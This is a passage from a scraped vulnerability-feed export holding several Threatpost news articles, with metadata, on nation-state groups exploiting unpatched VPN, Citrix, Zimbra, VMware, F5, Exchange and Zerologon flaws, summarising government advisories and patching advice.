cyber-espionage efforts:\n\n * CVE-2018-13379 Fortinet FortiGate SSL VPN (path traversal)\n * CVE-2019-9670 Synacor Zimbra Collaboration Suite (XXE)\n * CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN (arbitrary file read)\n * CVE-2019-19781 Citrix Application Delivery Controller and Gateway (directory traversal)\n * CVE-2020-4006 VMware Workspace ONE Access (command injection)\n\n\u201cVulnerabilities in two VPN systems, two virtualization platforms and one collaboration solution seem to be a mighty combo,\u201d Dirk Schrader, global vice president of security research at New Net Technologies, told Threatpost. \u201cFour of them are 12 months or older, which is not a good sign for the overall cyber-hygiene in the U.S., given that all are either rated as severe or even critical in NIST\u2019s NVD. It looks like that adversaries can rely on the lack of diligence related to essential cybersecurity control, even more so in pandemic times.\u201d\n\n## **CVE-2018-13379**\n\nA directory traversal vulnerability in Fortinet FortOS allows unauthenticated attackers to access and download system files, by sending specially crafted HTTP resource requests. \u201cThis can result in the attacker obtaining VPN credentials, which could allow an initial foothold into a target network,\u201d according to Cisco Talos.\n\nThe NSA explained that it arises from an improper limitation of a pathname to a restricted directory. It affects Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12.\n\nThe nation-state issue is ongoing: Earlier in April, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) APTs were actively exploiting the bug.\n\n## **CVE-2019-9670**\n\nThis bug is an XML External Entity Injection (XXE) vulnerability in the mailbox component of the Synacore Zimbra Collaboration Suite. Attackers can exploit it to gain access to credentials to further their access or as an initial foothold into a target network. It affects Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10.\n\n## **CVE-2019-11510**\n\nIn Pulse Secure VPNs, a critical arbitrary file-reading flaw opens systems to exploitation from remote, unauthenticated attackers looking to gain access to a victim\u2019s networks. Attacker can send a specially crafted URI to trigger the exploit. It affects Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4.\n\n\u201cThis can be abused by attackers to access sensitive information, including private keys and credentials,\u201d explained Cisco Talos researchers.\n\nLast April, the Department of Homeland Security (DHS) began urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN family.\n\nAt the time, DHS [warned that attackers](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) who have already exploited the flaw to snatch up victims\u2019 credentials were using those credentials to move laterally through organizations, rendering patches useless.\n\nThen September, a successful cyberattack on an unnamed federal agency [was attributed to](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>) exploitation of the bug. \u201cIt is possible the cyber-actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability \u2013 CVE-2019-11510 \u2013 in Pulse Secure,\u201d according to CISA\u2019s alert at the time. \u201cCVE-2019-11510\u2026allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.\u201d\n\n## **CVE-2019-19781**\n\nThis critical directory-traversal vulnerability in the Citrix Application Delivery Controller (ADC) and Gateway that can allow remote code-execution. It was first disclosed as a zero-day in December 2019, after which Citrix [rolled out patches](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) amidst dozens of proof-of-concept exploits and skyrocketing exploitation attempts.\n\nIt affects Citrix ADC and Gateway versions before 13.0.47.24, 12.1.55.18, 12.0.63.13, 11.1.63.15 and 10.5.70.12 and SD-WAN WANOP 4000-WO, 4100-WO, 5000-WO, and 5100-WO versions before 10.2.6b and 11.0.3b.\n\n## **C****VE-2020-4006**\n\nAnd finally, a command-injection vulnerability in VMWare Workspace One Access, Access Connector, Identity Manager and Identity Manager Connector allows arbitrary command execution on underlying operating systems. A successful exploit does, however, require valid credentials to the configurator admin account, so it must be chained with another bug to use it.\n\nNonetheless, in December the NSA [warned that](<https://threatpost.com/nsa-vmware-bug-under-attack/161985/>) foreign adversaries were zeroing in on exploiting the flaw, despite patches rolling out just days earlier. State actors were using the bug to pilfer protected data and abuse shared authentication systems, it said.\n\nIt affects VMware One Access 20.01 and 20.10 on Linux, VMware Identity Manager 3.3.1 \u2013 3.3.3 on Linux, VMware Identity Manager Connector 3.3.1 \u2013 3.3.3 and 19.03, VMware Cloud Foundation 4.0 \u2013 4.1, and VMware Vrealize Suite Lifecycle Manager 8.x.\n\n## **How Can I Protect Against Cyberattacks?**\n\nThe NSA recommended several best practices to protect organizations from attack:\n\n * Update systems and products as soon as possible after patches are released.\n * Assume a breach will happen; review accounts and leverage the latest eviction guidance available.\n * Disable external management capabilities and set up an out-of-band management network.\n * Block obsolete or unused protocols at the network edge and disable them in client device configurations.\n * Adopt a mindset that compromise happens: Prepare for incident response activities.\n\n\u201cIf publicly known, patchable exploits still have gas in the tank, this is just an indictment against the status-quo disconnect between many organizations\u2019 understanding of risk and basic IT hygiene,\u201d Tim Wade, technical director on the CTO team at Vectra, told Threatpost. \u201cThe unfortunate reality is that for many organizations, the barrier to entry into their network continues to be low-hanging fruit which, for one reason or another, is difficult for organizations to fully manage.\u201d\n\nHe added, \u201cThis underscores why security leaders should assume that for all the best intentions of their technology peers, compromises will occur \u2013 their imperative is to detect, respond and recover from those events to expel adversaries before material damage is realized.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-16T18:10:09", "type": "threatpost", "title": "NSA: 5 Security Bugs Under Active Nation-State Cyberattack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-16T18:10:09", "id": "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "href": "https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-05-04T17:56:13", "description": "Pulse Secure has [rushed a fix](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/SA44784/>) for a critical zero-day security vulnerability in its Connect Secure VPN devices, which has been exploited by nation-state actors to launch cyberattacks against U.S. defense, finance and government targets, as well as victims in Europe.\n\nPulse Secure also patched three other security bugs, two of them also critical RCE vulnerabilities.\n\n[](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\n\nJoin Threatpost for \u201c[Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\u201d a LIVE roundtable event on Wednesday, May 12 at 2:00 PM EDT for this FREE webinar sponsored by Zoho ManageEngine.\n\nThe zero-day flaw, tracked as CVE-2021-22893, was first disclosed on April 20 and carries the highest possible CVSS severity score, 10 out of 10. An exploit allows remote code-execution (RCE) and two-factor authentication bypass. The bug [is being used in the wild](<https://threatpost.com/pulse-secure-critical-zero-day-active-exploit/165523/>) to gain administrator-level access to the appliances, according to research from Pulse Secure\u2019s parent company, Ivanti.\n\nIt\u2019s related to multiple use-after-free problems in Pulse Connect Secure before version 9.1R11.4, according to the advisory issued Tuesday, and \u201callows a remote unauthenticated attacker to execute arbitrary code via license server web services.\u201d It can be exploited without any user interaction.\n\nThe activity level has been such that the Cybersecurity and Infrastructure Security Agency (CISA) [issued an alert](<https://cyber.dhs.gov/ed/21-03/>) warning businesses of the ongoing campaigns. These are [being tracked by FireEye Mandiant](<https://threatpost.com/pulse-secure-critical-zero-day-active-exploit/165523/>) as being carried out by two main advanced persistent threat (APT) clusters with links to China: UNC2630 and UNC2717.\n\nIn addition to the exploit for CVE-2021-22893, the campaigns involve 12 different malware families overall, Mandiant said. The malware is used for authentication-bypass and establishing backdoor access to the VPN devices, and for lateral movement.\n\n\u201cNation-state hackers will forever pose a threat to businesses around the world,\u201d Andrey Yesyev, director of cybersecurity at Accedian, said via email. \u201cThese types of attacks are almost impossible to detect and are increasingly dangerous for any organization\u2019s sensitive data. Once hackers gain initial access to a victim\u2019s network, they\u2019ll move laterally in order to find valuable data. Furthermore, if they\u2019re able to infiltrate an organization\u2019s perimeter, bad actors could establish a connection to a command-and-control server (C2) \u2013 allowing them to control compromised systems and steal data from target networks.\u201d\n\n## **Additional Critical Pulse Connect VPN RCE Bugs**\n\nPulse Secure also rolled out fixes for three other concerning issues. Threatpost has reached out to Pulse Secure to find out whether these bugs are also being actively exploited in the wild.\n\nThe other patches are:\n\n * **CVE-2021-22894 (CVSS rating of 9.9)**: A buffer overflow in Pulse Connect Secure Collaboration Suite before 9.1R11.4 allows remote authenticated users to execute arbitrary code as the root user via maliciously crafted meeting room.\n * **CVE-2021-22899 (CVSS rating of 9.9):** A command-injection bug in Pulse Connect Secure before 9.1R11.4 allows remote authenticated users to perform RCE via Windows File Resource Profiles.\n * **CVE-2021-22900 (CVSS rating of 7.2):** Multiple unrestricted uploads in Pulse Connect Secure before 9.1R11.4 allow an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.\n\n## **Pulse Secure: A Cyberattacker\u2019s Favorite**\n\nPulse Secure appliances have been in the sights of APTs for months, with ongoing nation-state attacks using the bug tracked as CVE-2019-11510. It allows unauthenticated remote attackers to send a specially crafted URI to carry out arbitrary file-reading \u2013 perfect for espionage efforts.\n\nHere\u2019s a rundown of recent activity:\n\n * **April:** [The FBI warned](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>) that a known arbitrary file-read Pulse Secure bug (CVE-2019-11510) was part of five vulnerabilities under attack by the Russia-linked group known as APT29 (a.k.a. Cozy Bear or The Dukes). APT29 is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access,\u201d according to the Feds.\n * **April**: The Department of Homeland Security (DHS) urged companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, because in many cases, attackers have already exploited CVE-2019-11510 to hoover up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, [DHS warned](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>).\n * **October**: CISA said that a federal agency had suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network. Once again, [CVE-2019-11510 was in play](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>), used to gain access to employees\u2019 legitimate Microsoft Office 365 log-in credentials and sign into an agency computer remotely.\n\nTo stay safe, Accedian\u2019s Yesyev suggested monitoring east-west traffic to detect these types of intrusions.\n\n\u201cAnd in order to detect C2 communications, it\u2019s important to have visibility into network communication patterns,\u201d he added. \u201cThis is yet another instance that proves the benefits of a layered security model. In addition to adopting network-based threat detection and user/endpoint behavior analytics solutions, security must be designed into the DevOps cycle. These technologies and processes help organizations understand communication patterns and destinations to help identify C2 tunnels\u2026allowing teams to identify stealthy lateral movements and ultimately protect data from being stolen.\u201d\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and [Register HERE](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>) for free. **\n", "cvss3": {}, "published": "2021-05-04T17:42:30", "type": "threatpost", "title": "Pulse Secure VPNs Get a Fix for Critical Zero-Day Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900"], "modified": "2021-05-04T17:42:30", "id": "THREATPOST:18D24326B561A78A05ACB7E8EE54F396", "href": "https://threatpost.com/pulse-secure-vpns-fix-critical-zero-day-bugs/165850/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-10T12:11:12", "description": "State-sponsored advanced persistent threat (APT) groups are using flaws in outdated VPN technologies from Palo Alto Networks, Fortinet and Pulse Secure to carry out cyber attacks on targets in the United States and overseas, warned U.S. and U.K. officials.\n\nThe National Security Agency (NSA) issued a [Cybersecurity Advisory](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>) Monday about the threats and offered mitigation suggestions, warning that multiple APT actors have weaponized three critical vulnerabilities first published in August\u2013[CVE-2019-11539](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11539>), [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) and [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\u2013to gain access to vulnerable VPN devices. The first two affect Pulse Secure VPNs while the third affects Fortinet technology.\n\nThe National Cyber Security Centre in the United Kingdom posted [a separate warning](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>) about the threats, which stem from vulnerabilities that allow \u201can attacker to retrieve arbitrary files, including those containing authentication credentials,\u201d according to the post.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe flaws allow an attacker to use those stolen credentials to connect to the VPN and change configuration settings or even connect to other infrastructure on the network, authorities warned. Through this unauthorized connection, an attacker could gain privileges to run secondary exploits that could allow them to access a root shell.\n\nThe U.K.\u2019s alert added two more Fortinet vulnerabilities to the list\u2013[CVE-2018-13382](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13382>) and [CVE-2018-13383](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13383>)\u2014as well as a Palo Alto Networks VPN flaw, [CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>).\n\nAuthorities offered a series of mitigation techniques for the vulnerabilities, which they said should be taken very seriously by users of these products.\n\nTo mitigate attacks against all of the existing threats, officials recommend a couple of basic steps: apply any existing patches for VPNs in use that could be at risk, and update existing credentials. The NSA also recommended revoking existing VPN server keys and certificates and generating new ones.\n\nA more comprehensive list of mitigation techniques recommended by the NSA also includes discouraging the use of proprietary SSLVPN/TLSVPN protocols and self-signed and wild card certificates for public-facing VPN web applications; requiring mutual certificate-based authentication so remote clients attempting to access the public-facing VPN web application must present valid client certificates to maintain a connection; and using multi-factor authentication to prevent attackers from authenticating with compromised passwords by requiring a second authentication factor.\n\nNeither the NSA nor the National Cyber Security Centre alerts identified which groups are responsible for the attacks.\n\nThe warnings come after [reports surfaced](<https://www.zdnet.com/article/a-chinese-apt-is-now-going-after-pulse-secure-and-fortinet-vpn-servers/>) last month that APT5 was targeting VPNs from Fortinet and Pulse Secure after code for two of the aforementioned vulnerabilities was disclosed in a presentation at the Black Hat Security Conference (The two companies have patched those flaws, and in the case of Pulse Secure, issued the fixes in April, three months before Black Hat.).\n\nAPT5, a Chinese state-sponsored group also known as Manganese, has been active since 2007 with a particular focus on technology and telecommunications companies, according to a [report](<https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf>) by FireEye.\n\n**_What are the top cyber security issues associated with privileged account access and credential governance? Experts from Thycotic will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-08T12:44:16", "type": "threatpost", "title": "APT Groups Exploiting Flaws in Unpatched VPNs, Officials Warn", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2018-13382", "CVE-2018-13383", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1579"], "modified": "2019-10-08T12:44:16", "id": "THREATPOST:2018FCCB3FFD46BACD36ADBC6C9013CE", "href": "https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-13T16:45:38", "description": "U.S. government officials have warned that advanced persistent threat actors (APTs) are now leveraging Microsoft\u2019s severe privilege-escalation flaw, dubbed \u201cZerologon,\u201d to target elections support systems.\n\nDays after [Microsoft sounded the alarm that an Iranian nation-state actor](<https://threatpost.com/microsoft-zerologon-attack-iranian-actors/159874/>) was actively exploiting the flaw ([CVE-2020-1472](<https://www.tenable.com/cve/CVE-2020-1472>)), the Cybersecurity Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) published a joint advisory warning of further attacks.\n\nThe advisory details how attackers are chaining together various vulnerabilities and exploits \u2013 including using VPN vulnerabilities to gain initial access and then Zerologon as a post-exploitation method \u2013 to compromise government networks.\n\n[](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\n\u201cThis recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal and territorial (SLTT) government networks,\u201d according [to the security advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>). \u201cAlthough it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.\u201d\n\nWith the [U.S. November presidential elections](<https://threatpost.com/2020-election-secure-vote-tallies-problem/158533/>) around the corner \u2013 and cybercriminal activity subsequently ramping up to target [election infrastructure](<https://threatpost.com/black-hat-usa-2020-preview-election-security-covid-disinformation-and-more/157875/>) and [presidential campaigns](<https://threatpost.com/microsoft-cyberattacks-trump-biden-election-campaigns/159143/>) \u2013 election security is top of mind. While the CISA and FBI\u2019s advisory did not detail what type of elections systems were targeted, it did note that there is no evidence to support that the \u201cintegrity of elections data has been compromised.\u201d\n\nMicrosoft released a patch for the Zerologon vulnerability as part of its [August 11, 2020 Patch Tuesday security updates](<https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/>). Exploiting the bug allows an unauthenticated attacker, with network access to a domain controller, to completely compromise all Active Directory identity services, according to Microsoft.\n\nDespite a patch being issued, many companies have not yet applied the patches to their systems \u2013 and cybercriminals are taking advantage of that in a recent slew of government-targeted attacks.\n\nThe CISA and FBI warned that various APT actors are commonly using [a Fortinet vulnerability](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) to gain initial access to companies. That flaw (CVE-2018-13379) is a path-traversal glitch in Fortinet\u2019s FortiOS Secure Socket Layer (SSL) virtual private network (VPN) solution. While the flaw was patched in April 2019, exploitation details were publicized in August 2019, opening the door for attackers to exploit the error.\n\nOther initial vulnerabilities being targeted in the attacks include ones in Citrix NetScaler ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)), MobileIron ([CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)), Pulse Secure ([CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)), Palo Alto Networks ([CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>)) and F5 BIG-IP ([CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)).\n\nAfter exploiting an initial flaw, attackers are then leveraging the Zerologon flaw to escalate privileges, researchers said. They then use legitimate credentials to log in via VPN or remote-access services, in order to maintain persistence.\n\n\u201cThe actors are leveraging CVE-2020-1472 in Windows Netlogon to escalate privileges and obtain access to Windows AD servers,\u201d they said. \u201cActors are also leveraging the opensource tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers.\u201d\n\nThe advisory comes as exploitation attempts against Zerologon spike, with Microsoft recently warned of exploits by an [advanced persistent threat](<https://threatpost.com/iranian-apt-targets-govs-with-new-malware/153162/>) (APT) actor, which the company calls MERCURY (also known as MuddyWater, Static Kitten and Seedworm). [Cisco Talos researchers also recently warned of](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>) a spike in exploitation attempts against Zerologon.\n\n[Earlier in September, the stakes got higher](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>) for risks tied to the bug when four public proof-of-concept exploits for the flaw were released on** **[Github.](<https://github.com/dirkjanm/CVE-2020-1472>) This spurred the Secretary of Homeland Security [to issue a rare emergency directive](<https://threatpost.com/dire-patch-warning-zerologon/159404/>), ordering federal agencies to patch their Windows Servers against the flaw by Sept. 2.\n\nCISA and the FBI stressed that organizations should ensure their systems are patched, and adopt an \u201cassume breach\u201d mentality. Satnam Narang, staff research engineer with Tenable, agreed, saying that \u201cit seems clear that Zerologon is becoming one of the most critical vulnerabilities of 2020.\u201d\n\n\u201cPatches are available for all of the vulnerabilities referenced in the joint cybersecurity advisory from CISA and the FBI,\u201d said Narang [in a Monday analysis](<https://www.tenable.com/blog/cve-2020-1472-advanced-persistent-threat-actors-use-zerologon-vulnerability-in-exploit-chain>). \u201cMost of the vulnerabilities had patches available for them following their disclosure, with the exception of CVE-2019-19781, which received patches a month after it was originally disclosed.\u201d\n\n** [On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n", 